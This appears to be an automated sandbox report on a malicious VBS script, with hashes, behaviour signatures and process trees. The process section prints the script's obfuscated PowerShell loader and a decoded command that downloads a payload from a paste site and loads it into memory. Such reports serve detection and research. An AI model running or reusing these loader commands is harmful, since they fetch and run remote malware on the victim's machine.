Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
17-05-2024 01:56
Static task
static1
Behavioral task
behavioral1
Sample
c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs
Resource
win10v2004-20240426-en
General
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Target
c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs
-
Size
197KB
-
MD5
4730787ad81772f8d9b03ae8faf9efc3
-
SHA1
4d09795bab624a2dbeb62a14870693f8c0dc810c
-
SHA256
c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4
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SHA512
d7b28b0377fd0ec04d105a6c3ee3ae92ff98d29b3d8aa1d1c677817fad4b9816126eb4e7e23376d60dd1d263dd0e3ad182732b2e2c8ee0cfa54c64440fdaeaec
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SSDEEP
384:z1OlYw8nrW9LrBppppppppppppppppppppNGpppppppppppppppppppppppppppf:sfirg/LNA
Malware Config
Extracted
https://pasteio.com/download/xcxWvykfm30a
Signatures
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Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 5 2580 powershell.exe 7 2580 powershell.exe 9 2580 powershell.exe -
Processes:
powershell.exepowershell.exepid process 3044 powershell.exe 2580 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 3044 powershell.exe 2580 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3044 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 844 wrote to memory of 3044 844 WScript.exe powershell.exe PID 844 wrote to memory of 3044 844 WScript.exe powershell.exe PID 844 wrote to memory of 3044 844 WScript.exe powershell.exe PID 3044 wrote to memory of 2580 3044 powershell.exe powershell.exe PID 3044 wrote to memory of 2580 3044 powershell.exe powershell.exe PID 3044 wrote to memory of 2580 3044 powershell.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bw▒GI▒cwB4▒GU▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒Br▒GU▒bgBx▒Hg▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HU▒c▒Bk▒Gc▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒JwBo▒HQ▒d▒Bw▒HM▒Og▒v▒C8▒c▒Bh▒HM▒d▒Bl▒Gk▒bw▒u▒GM▒bwBt▒C8▒Z▒Bv▒Hc▒bgBs▒G8▒YQBk▒C8▒e▒Bj▒Hg▒VwB2▒Hk▒awBm▒G0▒Mw▒w▒GE▒Jw▒p▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dQBw▒GQ▒Zw▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒MQ▒u▒EM▒b▒Bh▒HM▒cw▒x▒Cc▒KQ▒u▒Ec▒ZQB0▒E0▒ZQB0▒Gg▒bwBk▒Cg▒JwBa▒Hg▒SwBI▒Ec▒Jw▒p▒C4▒SQBu▒HY▒bwBr▒GU▒K▒▒k▒G4▒dQBs▒Gw▒L▒▒g▒Fs▒bwBi▒Go▒ZQBj▒HQ▒WwBd▒F0▒I▒▒o▒Cc▒ag▒1▒DM▒MQ▒4▒Gk▒SwBX▒C8▒dwBh▒HI▒LwBt▒G8▒Yw▒u▒G4▒aQBi▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Gs▒ZQBu▒HE▒e▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒c▒Bi▒HM▒e▒Bl▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs');powershell -command $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$pbsxe = '034';$kenqx = 'C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs';[Byte[]] $nupdg = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xcxWvykfm30a'));[system.AppDomain]::CurrentDomain.Load($nupdg).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('j5318iKW/war/moc.nibetsap//:sptth' , $kenqx , '_______________________-------------', $pbsxe, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2580
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
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Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5bb234805175ad3636354b32f6f590898
SHA1b1cc6617b61dfe5c641c00045b4683ba4ffd809c
SHA256e3750ef67ac9015ad2cf291d18e377ed9a1acf834f90bbc8820ed27cf51aee15
SHA5127a6bf2928a8f9b29372b29601682a7cdcfce091f3142a19af0418e6215987c9c33176a43137b7d5a42f9d15dfde76dac011042fa2e8e113dd4761d869f60d5d0